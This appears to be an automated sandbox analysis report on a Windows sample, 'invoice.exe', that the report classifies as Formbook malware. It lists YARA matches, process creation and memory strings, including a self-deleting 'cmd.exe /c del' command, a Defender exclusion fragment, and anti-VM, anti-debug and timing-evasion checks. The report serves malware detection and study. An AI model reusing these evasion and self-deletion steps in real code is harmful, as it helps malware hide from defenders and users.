Source: 00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.invoice.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.invoice.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.invoice.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.invoice.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: invoice.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/1@15/8

Source: C:\Users\user\Desktop\invoice.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\invoice.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6196:120:WilError_01

Source: invoice.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\invoice.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Users\user\Desktop\invoice.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: Select * from UnmanagedMemoryStreamWrapper WHERE modelo=@modelo;?
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: Select * from Clientes WHERE id=@id;;
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: Select * from Aluguel5Erro ao listar Banco sql-UnmanagedMemoryStreamWrapper.INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO UnmanagedMemoryStreamWrapper VALUES(@modelo, @fabricante, @ano, @cor);
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);

Source: unknown	Process created: C:\Users\user\Desktop\invoice.exe 'C:\Users\user\Desktop\invoice.exe'
Source: C:\Users\user\Desktop\invoice.exe	Process created: C:\Users\user\Desktop\invoice.exe C:\Users\user\Desktop\invoice.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\wscript.exe
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\invoice.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\invoice.exe	Process created: C:\Users\user\Desktop\invoice.exe C:\Users\user\Desktop\invoice.exe	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\invoice.exe'	Jump to behavior

Source: C:\Users\user\Desktop\invoice.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: invoice.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: invoice.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wscript.pdbGCTL source: invoice.exe, 00000003.00000002.288057088.0000000001B70000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: invoice.exe, 00000003.00000002.287622749.00000000018CF000.00000040.00000001.sdmp, wscript.exe, 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: invoice.exe, 00000003.00000002.287622749.00000000018CF000.00000040.00000001.sdmp, wscript.exe
Source:	Binary string: wscript.pdb source: invoice.exe, 00000003.00000002.288057088.0000000001B70000.00000040.00000001.sdmp

Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_0081855F push dword ptr [esi+3Fh]; iretd	0_2_00818571
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_008192CB push FFFFFFD9h; iretd	0_2_008192E8
Source: C:\Users\user\Desktop\invoice.exe	Code function: 0_2_02BF6A44 push A1FFFFFEh; ret	0_2_02BF6A49
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_004161E2 push 00000062h; ret	3_2_004161E5
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_0041B3C5 push eax; ret	3_2_0041B418
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_0041B47C push eax; ret	3_2_0041B482
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_0041B412 push eax; ret	3_2_0041B418
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_0041B41B push eax; ret	3_2_0041B482
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_004157E0 push esi; ret	3_2_00415809
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_00D892CB push FFFFFFD9h; iretd	3_2_00D892E8
Source: C:\Users\user\Desktop\invoice.exe	Code function: 3_2_00D8855F push dword ptr [esi+3Fh]; iretd	3_2_00D88571
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046BD0D1 push ecx; ret	9_2_046BD0E4
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021CB3C5 push eax; ret	9_2_021CB418
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021C61E2 push 00000062h; ret	9_2_021C61E5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021C57E0 push esi; ret	9_2_021C5809
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021CB41B push eax; ret	9_2_021CB482
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021CB412 push eax; ret	9_2_021CB418
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_021CB47C push eax; ret	9_2_021CB482

Source: initial sample

Static PE information: section name: .text entropy: 7.55515603565

Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: invoice.exe PID: 1972, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\invoice.exe	RDTSC instruction interceptor: First address: 00000000004085F4 second address: 00000000004085FA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\invoice.exe	RDTSC instruction interceptor: First address: 000000000040898E second address: 0000000000408994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wscript.exe	RDTSC instruction interceptor: First address: 00000000021B85F4 second address: 00000000021B85FA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\wscript.exe	RDTSC instruction interceptor: First address: 00000000021B898E second address: 00000000021B8994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\invoice.exe

Code function: 3_2_004088C0 rdtsc

3_2_004088C0

Source: C:\Users\user\Desktop\invoice.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\invoice.exe TID: 4228	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe TID: 2244	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6412	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 6336	Thread sleep time: -44000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wscript.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wscript.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\invoice.exe	Thread delayed: delay time: 99765			Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: explorer.exe, 00000004.00000000.269061528.000000000891C000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
Source: explorer.exe, 00000004.00000000.268510649.0000000008270000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000004.00000000.251045811.0000000003710000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: explorer.exe, 00000004.00000000.246647210.00000000011B3000.00000004.00000020.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000tft\0
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000004.00000000.269121644.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000%
Source: explorer.exe, 00000004.00000000.260341050.00000000053C4000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>'R\"
Source: explorer.exe, 00000004.00000000.268510649.0000000008270000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000004.00000000.268510649.0000000008270000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000004.00000000.269121644.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000002
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: explorer.exe, 00000004.00000000.268510649.0000000008270000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\invoice.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\invoice.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\invoice.exe

Code function: 3_2_004088C0 rdtsc

3_2_004088C0

Source: C:\Users\user\Desktop\invoice.exe

Code function: 3_2_00409B30 LdrLoadDll,

3_2_00409B30

Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468746D mov eax, dword ptr fs:[00000030h]	9_2_0468746D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469A44B mov eax, dword ptr fs:[00000030h]	9_2_0469A44B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046FC450 mov eax, dword ptr fs:[00000030h]	9_2_046FC450
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046FC450 mov eax, dword ptr fs:[00000030h]	9_2_046FC450
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0469BC2C mov eax, dword ptr fs:[00000030h]	9_2_0469BC2C
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6C0A mov eax, dword ptr fs:[00000030h]	9_2_046E6C0A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6C0A mov eax, dword ptr fs:[00000030h]	9_2_046E6C0A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6C0A mov eax, dword ptr fs:[00000030h]	9_2_046E6C0A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6C0A mov eax, dword ptr fs:[00000030h]	9_2_046E6C0A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04721C06 mov eax, dword ptr fs:[00000030h]	9_2_04721C06
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0473740D mov eax, dword ptr fs:[00000030h]	9_2_0473740D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0473740D mov eax, dword ptr fs:[00000030h]	9_2_0473740D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0473740D mov eax, dword ptr fs:[00000030h]	9_2_0473740D
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_047214FB mov eax, dword ptr fs:[00000030h]	9_2_047214FB
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6CF0 mov eax, dword ptr fs:[00000030h]	9_2_046E6CF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6CF0 mov eax, dword ptr fs:[00000030h]	9_2_046E6CF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6CF0 mov eax, dword ptr fs:[00000030h]	9_2_046E6CF0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04738CD6 mov eax, dword ptr fs:[00000030h]	9_2_04738CD6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467849B mov eax, dword ptr fs:[00000030h]	9_2_0467849B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468C577 mov eax, dword ptr fs:[00000030h]	9_2_0468C577
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0468C577 mov eax, dword ptr fs:[00000030h]	9_2_0468C577
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046A3D43 mov eax, dword ptr fs:[00000030h]	9_2_046A3D43
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E3540 mov eax, dword ptr fs:[00000030h]	9_2_046E3540
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04687D50 mov eax, dword ptr fs:[00000030h]	9_2_04687D50
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04738D34 mov eax, dword ptr fs:[00000030h]	9_2_04738D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472E539 mov eax, dword ptr fs:[00000030h]	9_2_0472E539
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04694D3B mov eax, dword ptr fs:[00000030h]	9_2_04694D3B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04694D3B mov eax, dword ptr fs:[00000030h]	9_2_04694D3B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04694D3B mov eax, dword ptr fs:[00000030h]	9_2_04694D3B
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04673D34 mov eax, dword ptr fs:[00000030h]	9_2_04673D34
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0466AD30 mov eax, dword ptr fs:[00000030h]	9_2_0466AD30
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046EA537 mov eax, dword ptr fs:[00000030h]	9_2_046EA537
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_04718DF1 mov eax, dword ptr fs:[00000030h]	9_2_04718DF1
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467D5E0 mov eax, dword ptr fs:[00000030h]	9_2_0467D5E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0467D5E0 mov eax, dword ptr fs:[00000030h]	9_2_0467D5E0
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472FDE2 mov eax, dword ptr fs:[00000030h]	9_2_0472FDE2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472FDE2 mov eax, dword ptr fs:[00000030h]	9_2_0472FDE2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472FDE2 mov eax, dword ptr fs:[00000030h]	9_2_0472FDE2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_0472FDE2 mov eax, dword ptr fs:[00000030h]	9_2_0472FDE2
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6DC9 mov eax, dword ptr fs:[00000030h]	9_2_046E6DC9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6DC9 mov eax, dword ptr fs:[00000030h]	9_2_046E6DC9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6DC9 mov eax, dword ptr fs:[00000030h]	9_2_046E6DC9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6DC9 mov ecx, dword ptr fs:[00000030h]	9_2_046E6DC9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6DC9 mov eax, dword ptr fs:[00000030h]	9_2_046E6DC9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046E6DC9 mov eax, dword ptr fs:[00000030h]	9_2_046E6DC9
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 9_2_046935A1 mov eax, dword ptr fs:[00000030h]	9_2_046935A1
